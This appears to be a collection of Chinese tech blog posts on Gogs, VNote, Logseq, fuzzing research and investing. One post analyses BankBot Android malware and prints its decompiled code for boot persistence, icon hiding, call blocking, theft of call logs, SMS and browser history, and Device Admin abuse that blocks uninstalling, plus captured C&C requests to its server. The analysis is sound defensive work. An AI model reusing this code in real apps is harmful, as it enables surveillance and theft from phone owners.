看错误像是在连接 mysql 的 3306 端口,可是配置文件设置的是使用 sqlite,非常困惑。上网搜索后证实是 gogs 0.13 的配置文件的字段修改了。

最关键的两个字段是数据库相关的 DB_TYPE 改为 TYPEPASSWD 改为 PASSWORD 修改后 custom/conf/app.ini 后,执行 ./gogs web 一切正常。

向大家安利一款 markdown 笔记软件, VNote https://github.com/vnotex/vnote
此软件目前已经 1300 多个commits 了,做为一个有些开源软件维护经历的人,深感不易。
用了太多 markdown 笔记软件,此软件使得最为顺手,尤其作为程序员 vim 模式 让我感到非常舒服,
大量图表的支持比如 UML 流程图,让我用起来很顺手。

Vnote 分为两个开发阶段,阶段一 vnote2 已经开发完成:https://github.com/vnotex/vnote/tree/vnote2
现在处于第二个开发阶段:https://github.com/vnotex/vnote

据说后续会出收费版本,但目前看还需要很长的一段时间了。

VNote

我前后尝试过各种笔记软件,我理想的软件有几点:

  • a. 支持文件管理
  • b. 不要乱改数据,容易迁移
  • c. 支持 markdown
  • d. 跨平台,支持 Mac 和 Linux

最后,终于发现了 VNote,有点惊喜。在 Linux 下编译 VNote 显示有明显改进,下面是编译的方法:

  1. 下载 QT SDK (最新的 vnotex 官方支持 Qt 5.12,可自行下载使用替换相应的版本即可)

https://mirrors4.tuna.tsinghua.edu.cn/qt/official_releases/qt/5.9/5.9.0/qt-opensource-linux-x64-5.9.0.run

将 Qt5.9 安装到 /home/henices/Qt5.9.0/

  1. 编译 fcitx-qt5 (如果使用的是 fcitx5,需要下载编译 fcitx5-qt)

git clone https://gitlab.com/fcitx/fcitx-qt5.git

准备编译脚本 build_linux.sh, 指定下载的QT

1
2
3
4
5
6
7
8
9
10
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh

将生成的 libfcitxplatforminputcontextplugin.so copy 到
/home/henices/Qt5.9.0/5.9/gcc_64/plugins/platforminputcontexts/

  1. 获取VNote 源码
1
2
3
git clone https://github.com/tamlok/vnote.git vnote.git
cd vnote.git
git submodule update --init
  1. 编译

build_linux.sh

1
2
3
4
5
6
7
8
9
10
11
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
qmake -v
qmake PREFIX=/usr/local CONFIG-=debug CONFIG+=release ../VNote.pro
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh
  1. 安装

sudo make install

诡异问题

Fedora 升级到 35 后,Vnote 出现了一系列问题

  1. vnote 的阅读模式不能正常显示 (Qt 5.12.11)

    解决这个问题需要禁用 Qtwebengine 的 sandbox

1
./vnote --no-sandbox
  1. 导出 pdf 文件 cpu 100% (Fedora 系统自带 Qt 5.15.2 编译)
  2. 官方提供的 Linux AppImage 文件无法打开 Fcitx5 输入法。

最终解决问题的方法是下载 Qt5.15.2 重新编译 Vnote, Qt 从 5.15 开始不提供离线安装包,非常不方便。
官方提供的在线升级包如果太新只能安装 Qt 6,所以必须下载老版本的 online installer
https://download.qt.io/archive/online_installers/4.0/qt-unified-linux-x64-4.0.1-1-online.run

具体内容可以参考 https://github.com/vnotex/vnote/issues/1942 的讨论

Qt 5.15.3

使用 Qt 5.15.3 编译 VNOte 后,出现下面的报错

1
[695784:695784:0401/181224.580254:ERROR:network_service_instance_impl.cc(286)] Network service crashed, restarting service.

bug 在这 https://bugreports.qt.io/browse/QTBUG-91715 可以先使用环境变量救急一下

1
QTWEBENGINE_DISABLE_SANDBOX=1 QTWEBENGINE_CHROMIUM_FLAGS=--lang=de ./vnote --no-sandbox --disable-gpu

参考链接

https://tamlok.gitee.io/vnote/zh_cn/#!docs/%E5%BC%80%E5%8F%91%E8%80%85/%E6%9E%84%E5%BB%BAVNote.md

用了 Logseq 一段时间了,做个简单的总结,国内的很多文章,在我看来还是不够简单明了, 本文大致介绍了 Logseq 比较常用的一些功能的使用。

Flashcards

可以把记录的知识点当作卡片来记忆,用过 Anki 的同学,应该都比较熟悉了,使用的记忆算法为 SM-5
要将一个 block 记为卡片非常简单,使用 #card 标签就可以了。

卡片组

有些卡片可能是归属同一个大类,这时候就可以使用卡片组了。像我上面这个例子中,要记忆的单词都在 英语单词积累下,就可以使用语法 {{cards 英语单词积累}} 效果如下图,
可以看出我已经积累了7张卡片了。

要背诵需要记忆的卡片时,单击左侧的 Flashcards 就可以了,使用方面没有什么特别的地方,有三个选项可以选择。

theme (皮肤)

皮肤就是青菜萝卜各有所爱了,推荐两款我自己比较喜欢的的皮肤。


Github 仓库地址如下:

https://github.com/pengx17/logseq-laurel-theme
https://github.com/tobealive/logseq-allday-theme

有两种方法可以设置皮肤:

  • custom.css
  • plugin system

使用 custom.css,打开 Settings -> General -> Custom theme 点击 custom.css 复制 css 内容,保存退出即可。
使用插件系统,则需要先把插件系统打开,Settings -> Advanced -> Plug-in system 。打开插件系统后,可以直接使用
Plugins -> Marketplace -> themes 选择你喜欢的 theme 点击 Install 就可以了

不过还是推荐使用 Logseq 自带的插件管理系统来安装,可以自动升级比较方便,切换皮肤可以点击右上角 三个点 -> Themes 选择皮肤。

plugin (插件)

使用 Logseq 插件同样是两种方法:

  • plugin system
  • Load unpacked plugin

使用插件系统的方法和上面安装皮肤的步骤大致相同,依次点击 Plugins -> Marketplace -> Plugins ,选择插件点击 Install 即可。要加载 unpacked plugin 首先要打开开发者模式 Settings -> Advanced -> Developer mode , 设置为打开。打开后使用插件管理系统 Plugins -> Installed -> Load unpacked plugin 选择相关目录就可以了。

具体的插件可以参考 https://github.com/logseq/awesome-logseq#Plugins 记录的插件都挺不错的。

值得一提的是,插件系统的网络不太稳定(总所周知的原因),使用代理会方便一些。

1
https_proxy=127.0.0.1:3128 ./Logseq --proxy-server=http://127.0.0.1:3128

安装插件可能会出现 timeout 错误,多重试几次就应该可以安装上了。

query

query 算是 Logseq 的高级功能了,我用的也不多,输入 /query 回车就可以自动进入 query 了,具体的语法很灵活可以参考:
https://logseq.github.io/#/page/queries

油管上有相关 video,大家可以参考一下:
https://www.youtube.com/watch?v=GDauxjx_bdA&ab_channel=OneStutteringMind
https://www.youtube.com/watch?v=qQ8DzumRZkM&ab_channel=OneStutteringMind

写在后面的话

Logseq 的功能还是挺多的,两篇文章也不可能全部介绍完,官方文档总是最好的资料:https://logseq.github.io/#/page/Contents

参考资料

https://logseq.github.io
https://www.usmacd.com/2022/02/21/logseq/

paper: https://www.s3.eurecom.fr/docs/fuzzing22_fioraldi_report.pdf

两个实验的结论 (主要基于 FuzzBench)

  • Our conclusion after this experiment is that AFL, and follow-ups fuzzers like AFL++, should provide an optionto disable hitcounts. AFL++ provides many different op-tions, and the users are suggested to run an instance of each variant when doing parallel fuzzing, a common use-case in real-world setups. The fact that in our experiments,hitcounts have shown a highly variadic behavior suggests that users should include a variant without hitcounts when doing parallel or ensemble fuzzing like OSS-Fuzz.
  • The conclusion we can draw from this experiment is that it would be a mistake to underestimate the impact of the novelty search. In particular, researchers proposing new approaches that also modify this aspect should care-fully evaluate – in isolation – the benefit of a different mechanism to decide if an input is interesting, as AFL’s novelty search provides a strong baseline.

论文中计划要评估的 afl-fuzz 的一些技术

  • Hitcounts: Hitcounts are adopted by other fuzzers to-day, but AFL was the first to introduce this concept.Despite its wide adoption, the impact of this optimization (overplain edge coverage) has never been measured in isolation on a large set of targets.
  • Novelty search vs. maximization of a fitness: While AFL considers every new discovered hitcount as interesting, both other early fuzzing solutions and more recent tools instead only consider testcases that maximize a given metricas interesting. For instance, VUZZER uses the sum of all the weights of the executed basic blocks.
    • In this experiment, we benchmark the AFL approach versusa fitness maximization and the combination of the two ap-proaches, as proposed by VUZZER
    • We expect the novelty search to outperforms both of the competing algorithms,
  • Corpus culling: The prioritization of the small and fast testcases in the AFL corpus selection algorithm trades speed with the fuzzing of more complex testcases that often corresponds to complex program states
    • In this experiment, we want to assess the difference in using the AFL corpus culling mechanism versus using the entire corpus.
    • We expect faster growth in coverage over time and,potentially, more bugs triggered in the same time window
  • Score calculation: The performance score used to cal-culate how many times to mutate and execute the input in the havoc, and splice stages are derived from many variables,mainly testcase size and execution time
    • In this experiment, we want to measure the delta between the AFL solution and the baseline, represented by a constantand a random score
  • Corpus scheduling: The FIFO policy used by AFL is only one of the possible policies that a fuzzer can adopt to select the next testcase
    • Thus, we evaluate AFL versus a modified version that implements the baseline, random selection, and the opposite approach, a LIFO scheduler.
  • Splicing as stage vs. splicing as mutation: Splicing refers to the operation that merges two different testcases into a new one
    • We modified the AFL codebase to implement splicing as a mutation operator to compare the two.
  • Trimming: Trimming the testcases allows the fuzzer to reduce the size of the input files and consequently give priority to small inputs, under the assumptions that large inputs introduce a slowdown in the execution and the mutations would be less likely to modify an important portion of the binary structure
    • Despite the fact that this algorithm can bring the two important benefits described above, we argue that reducing the size of the testcases could lead to lose state coverage.Additionally, the trimming phase could become a bottleneck for slow targets
    • Therefore, in our evaluation we plan tocompare the default version of AFL against a modified one,where we disabled trimming
  • Collisions: As explained in section III-F the AFL ap-proach to instrument the source code of the target programs consists of assigning an identifier for each basic block at compile-time.
    • We want to benchmark this feature as the collision-free variant is simpler than the original implementation with pc-guard, raising the question why random identifiers are used in AFL

0x00 样本概况

字段 内容
样本名 BankBot
MD5 3c42c391bec405bb28b28195c2961778
SHA256 93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型 APK

这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后
会以Android系统更新的形式,诱导用户操作达到常驻系统的目的。

0x01 行为分析

开机自启动

1
2
3
4
5
6
7
8
9
10
11
12
<receiver android:name="com.android.market.Autorun">
<intent-filter android:priority="999">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
<intent-filter android:priority="1000">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>

Autorun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
public Autorun() {
super();
}

public void onReceive(Context context, Intent intent) {
Intent v0 = new Intent(context, Scheduler.class);
v0.setFlags(0x10000000);
context.startService(v0);
}
}

开机将启动 Schedule 服务

Schedule 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
Utils.registerIfNeeded(((Context)this));
Object v0 = this.getSystemService("alarm");
PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
NetworkController.class), 0);
int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
.readFile(((Context)this), "interval")) : 0xA;
((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
v6);
this.handleCrashes();
return 1;
}

Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。
时间间隔由配置文件interval决定。

com.android.market.FileController

1
2
3
static final boolean fileExists(Context context, String filename) {
return new File(context.getFilesDir(), filename).exists();
}

隐藏App 图标

1
2
3
4
5
6
7
static final void hideApp(Context context, boolean hide) {
ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
+ ".MainActivity");
PackageManager v3 = context.getPackageManager();
int v1 = hide ? 2 : 1;
v3.setComponentEnabledSetting(v0, v1, 1);
}

伪造的系统Notification

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onCreate() {
super.onCreate();
new AppCrash().Register(((Context)this));
Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
currentTimeMillis());
Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
v1.setAction("android.intent.action.VIEW");
v1.setFlags(0x34000000);
v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
.getActivity(((Context)this), 0, v1, 0x8000000));
v3.flags |= 0x62;
this.startForeground(2, v3);
new Helper(this).execute(new Void[0]);
}

禁用屏幕锁定

1
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();

禁止拨打指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void onReceive(Context context, Intent intent) {
String[] v8;
String action = intent.getAction();
String v6 = intent.getStringExtra("state");
String v3 = intent.getStringExtra("incoming_number");
String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
String v1 = "8005555550; 4955005550;";
String v10 = "8005555550; 4955005550;";
String v11 = "";
int v9 = 0;
if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
"-", "");
if(v1 != null) {
v8 = v1.replace(" ", "").split(";");
if(v8.length > 0) {
int v13;
for(v13 = 0; v13 < v8.length; ++v13) {
if(v4.contains(v8[v13])) {
v9 = 1;
v11 = String.valueOf(v11) + "blocked outgoing call";
this.setResultData(null);
}
}
}
}

if(v9 == 0) {
v11 = String.valueOf(v11) + "outgoing call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
v11) + "]"});
}
...
}

通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:

8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
" ", "").replace("-", "") : "Unknown";
if(v10 != null) {
v8 = v10.replace(" ", "").split(";");
for(v13 = 0; v13 < v8.length; ++v13) {
if(v2.contains(v8[v13])) {
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
}

if(!v2.contains("Unknown")) {
goto label_106;
}

v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}

label_106:
if(v9 == 0) {
v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
v11) + "]"});
}

隐私窃取

获取电话拨打记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private StringBuilder getCallLog() {
StringBuilder v20 = new StringBuilder("[");
String v18 = "O||U|T||||G|O|||I|N||G|".replace("|", "");
Cursor v10 = this.context.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null,
null, null);
String v15 = "I++N+C+O+++M+I++N+G+".replace("+", "");
String v16 = "M-I--S--S---E--D---".replace("-", "");
String v22 = "***{\"n*u**mb**e*r\"***:%s,\"da****te\":%s,\"d*u*ra****ti*o***n\":%s,\"t*yp***e\":%s}*"
.replace("*", "");
if((v10.moveToFirst()) && v10.getCount() > 0) {
int v17 = v10.getColumnIndex("number");
int v21 = v10.getColumnIndex("type");
int v11 = v10.getColumnIndex("date");
int v14 = v10.getColumnIndex("duration");
while(!v10.isAfterLast()) {
String v19 = v10.getString(v17);
String v9 = v10.getString(v21);
String v7 = v10.getString(v11);
String v8 = v10.getString(v14);
String v13 = null;
switch(Integer.parseInt(v9)) {
case 1: {
v13 = v15;
break;
}
case 2: {
v13 = v18;
break;
}
case 3: {
v13 = v16;
break;
}
}

v20.append(String.format(Locale.US, v22, JSONObject.quote(v19), JSONObject.quote(
v7), JSONObject.quote(v8), JSONObject.quote(v13)));
if(!v10.isLast()) {
v20.append(",");
}

v10.moveToNext();
}

v10.close();
}

return v20.append("]");
}

获取短信记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getSmsLog() {
StringBuilder v10 = new StringBuilder("[");
Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
"s").replace("B", "m").replace("C", "s")), null, null, null, null);
if((v8.moveToFirst()) && v8.getCount() > 0) {
while(!v8.isAfterLast()) {
v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
.quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
v8.getColumnIndex("date")))));
if(!v8.isLast()) {
v10.append(",");
}

v8.moveToNext();
}

v8.close();
}

return v10.append("]");
}

浏览器书签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private StringBuilder getHistory(Uri historyUri) {
StringBuilder v8 = new StringBuilder("[");
Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
"date"}, "bookmark = 0", null, null);
if((v6.moveToFirst()) && v6.getCount() > 0) {
while(!v6.isAfterLast()) {
v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
.quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
"date")))));
if(!v6.isLast()) {
v8.append(",");
}

v6.moveToNext();
}

v6.close();
}

return v8.append("]");
}

骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。

高级技术

不断重启的Servcie

com.android.smali3

1
2
3
4
public void onDestroy() {
super.onDestroy();
this.startService(new Intent(this.getApplicationContext(), smali3.class));
}

服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

1
2
3
> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AdRec extends DeviceAdminReceiver {
public AdRec() {
super();
}

public CharSequence onDisableRequested(Context context, Intent intent) {
new AppCrash().Register(context);
if(Build$VERSION.SDK_INT <= 0xA) {
Intent v2 = new Intent("android.settings.SETTINGS");
v2.setFlags(0x50000000);
context.startActivity(v2);
Intent v4 = new Intent("android.intent.action.MAIN");
v4.addCategory("android.intent.category.HOME");
v4.setFlags(0x10000000);
context.startActivity(v4);
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

context.startService(new Intent(context, ASec.class));
long v6 = 0x7D0;
try {
Thread.sleep(v6);
}
catch(InterruptedException v3) {
v3.printStackTrace();
}

return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

...
}

重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户
无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。

这里出过几个问题,

  1. Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  2. 就是现在代码中所用到这个,目前在所有的Android 版本中存在。

界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实
是设备管理器的激活按钮。

使用翠鸟对恶意样本进行检查的结果

0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中
可以得到json字段的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";

请求注册

返回报文

401

注册报文

请求报文

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

响应报文

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0


获取命令

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0


返回的命令为json 格式,主要的指令有下面几个,

指令 含义
401 要求 bot 注册
call_log 获取电话记录, 发送到C&C server
sms_history 获取短信内容,发送到C&C server
browser_history 获取浏览器书签,发送到C&C server
url 访问url 链接
server 更换C&C server
intercept
server_poll 更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

0x03清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈
不让我们取消设备管理器,估计只有root的机器会好处理一些。

0x04总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓,
很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良
后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量
会越来越多。

最近双链笔记的概念比较火热, Roam Research 大概是第一个实现此功能的软件,后续 Notion、Obsidian、logseq 等软件大步跟进,这些软件各有千秋。下面这段是参考资料文章中的一小段,很有参考意义:

1
2
3
4
5
Roam 的突破在于,理论上,把软件设计理念与卡片盒笔记法紧紧捆绑:
卢曼(Niklas Luhmann)得益于卡片盒笔记法,从公务员成为德国当代重要的社会学家,
因此基于卡片盒笔记法的 Roam 也可以助力你的成功;
技术上,推出双向链接、可视化笔记间的联系、嵌入(Transclusion)等功能,
让生产、查找笔记更加高效,于此同时,还省却维护层级结构的麻烦。


上面两张图片就是卡片盒笔记法 最形象的表示了,个人觉得这种方法很适合自己。

为了体验双链笔记,我花费了不少时间,上面的几个软件都体验了一下,Roam 是收费软件,银子不够所以不选,Notion 笔记存储在云端,不符合我数据安全的要求也不选,剩下的就只有两个选项了 Obsidian 和 logseq 。

Obsidian

软件主页:https://obsidian.md/

挺多人选择用 Obsidian 的原因是它的 MarkDown 语法支持得比较好,MarkDown 语法有很多的使用者,类似 Typora 的 MarkDown 语法笔记是当前笔记软件的主流,这使得这些笔记软件的使用者过渡到 obsidian 会比较平滑。我是开源
MarkDown 笔记软件 Vnote 的重度使用者,一度想使用 Obsidian 作为主力软件。

Obsidian 有挺多优点,比如它对个人用户永久免费,但是它不开源,而且 Link+to+blocks 的语法比较别扭。最终还是没有选择它,有人说Obsidina 插件非常丰富,我自己没有折腾过。

logseq

软件主页:https://logseq.com/
源码仓库:https://github.com/logseq/logseq

说了这么久终于到正主了,第一次知道双链笔记这个概念是因为有个网友在网上说使用效果不错,过渡很平滑。可能有先入为主的关系,另外我本人对开源软件一向有莫名的好感,所以主观意识上就很喜欢这个软件。logseq 的粒度足够,block reference 使用非常方便,另外 logseq 的 PDF 标记功能对于需要大量阅读论文的我来说非常好用。

但是 logseq 也不是没有缺点,logseq 对 markdown 语法的支持不是很好,即使直接导入 MarkDown 文件,最后显示的结果感觉也是有问题,各类标题直接转化成 block 了,这是有问题的。但是从这个角度说 logseq 就是一个纯粹的双链笔记软件而不是一个添加了双链功能的 MarkDown 笔记软件。

最终的笔记管理方法

说到这,问题就简化了,平时的文档记录仍然使用 MarkDown 笔记软件,只是在平时记录的时候使用双链笔记软件。这样的笔记管理方法看上去比较麻烦,其实却很完美,想写文章的时候直接用 VNote,平时知识积累记录的时候就用 logseq,根本就不用过渡,只需要启用一个新软件即可。

基于 block 的双链笔记最大的好处就是没有输出负担,一些很随意的想法都可以记录下来,因为大家确实不可能每次都有大段的想法可以输出。有人说用 logseq一年写了 30万字,我开始觉得有点夸张,但是使用一个多月发现可能属实,现在我自己都写了几万字了。每个想法 (block) 之间可能会有联系,不断记录想法,不断联系,慢慢的真能发现一些意想不到的东西之间居然有联系,而这些联系很有可能是一些关键的底层逻辑。平时在记录的时候手工划分目录,层次关系,其实已经将一些想法,概念给逻辑化了,这样的记录方法很难摆脱固有的认知,而基于 block 的双链笔记就自由的多,不断记录,不断整理,汇总就交给软件来完成吧。

我现在已经通过 logseq 的记录想清楚了一些问题,在平时的工作记录中也不断地稳步螺旋推进,在此向大家推荐这款笔记软件。

最后的话

其实工具并不是那么重要,最重要的还是平时要记录,要定期输出。IT 界有一个著名的段子,你以为你是在写 blog 其实你只是在折腾 wordpress :)

共勉。

参考资料

双链笔记软件推荐:Logseq 和它的五种用法
请不要神化双链笔记

本人IT男一枚,2015年入市,到今天5年多了,所幸还在吃人不露骨头的市场上活着,也是非常不容易。基本不存在什么特殊情况,韭菜总是在人声鼎沸的牛市高点入场,本人也不例外,上证3500多点入市,上证3800多点让媳妇买了沪深 300 基金 (不是ETF),这基金今年才解套,小赚出局了。

运气好的是,2015年的时候中了一支新股,新股的收益对冲了倒金字塔加仓的回撤,小赚1万元出局清了仓,有时候我也在想如果不是这赚了1万,是不是也就不会继续炒股了。接下来的事情大家都很熟悉了,熔断和股灾3.0,一直在不赚和小亏中挣扎着,居然也坚持了下来。理工男的特质救了我,从2015年开始认真学习股票操作,恶补基础知识,分时,K线,缺口,价量关系,缠论,波浪理论,箱体理论,趋势交易,价值投资,基本各种理论都看了遍,其实到最后发现有用的东西太少了,关于股票的书也基本没啥用,真正有用的书可能就那么几本,可是如果不看几十本的话,你怎么知道哪几本有用呢?所以炒股并不存在什么捷径,一夜暴富基本是神话,为啥呢?盈亏同源,怎么赚钱就可能怎么亏回去,除非你知道你为什么能赚钱。

下面是这些年的心得,应该可以涨几年功力吧?

要在市场上生存你必须具备某种优势,没有这种优势就是纯赌博,真正赚钱的是要做大概率的投机。买卖股票实际上是对股票做分类,哪些可以做,哪些不可以做,这就涉及了股票交易系统,有了交易系统,剩下的就是执行问题了,要做到BDWQ,后面就是仓位计算,根据股票的波动和你愿意承担的风险程度计算出来。

回首看虽然现在稳定盈利了,又回到了灵魂拷问,投入的时间值得吗?对于很多人来说,最重要可能是资金的原始积累,10万块,翻10倍,100万在中国很多城市一套房也买不了,更不用说财富自由了,所以先努力工作吧,边工作边加大投资比例,梦想还是要有的,万一实现了呢?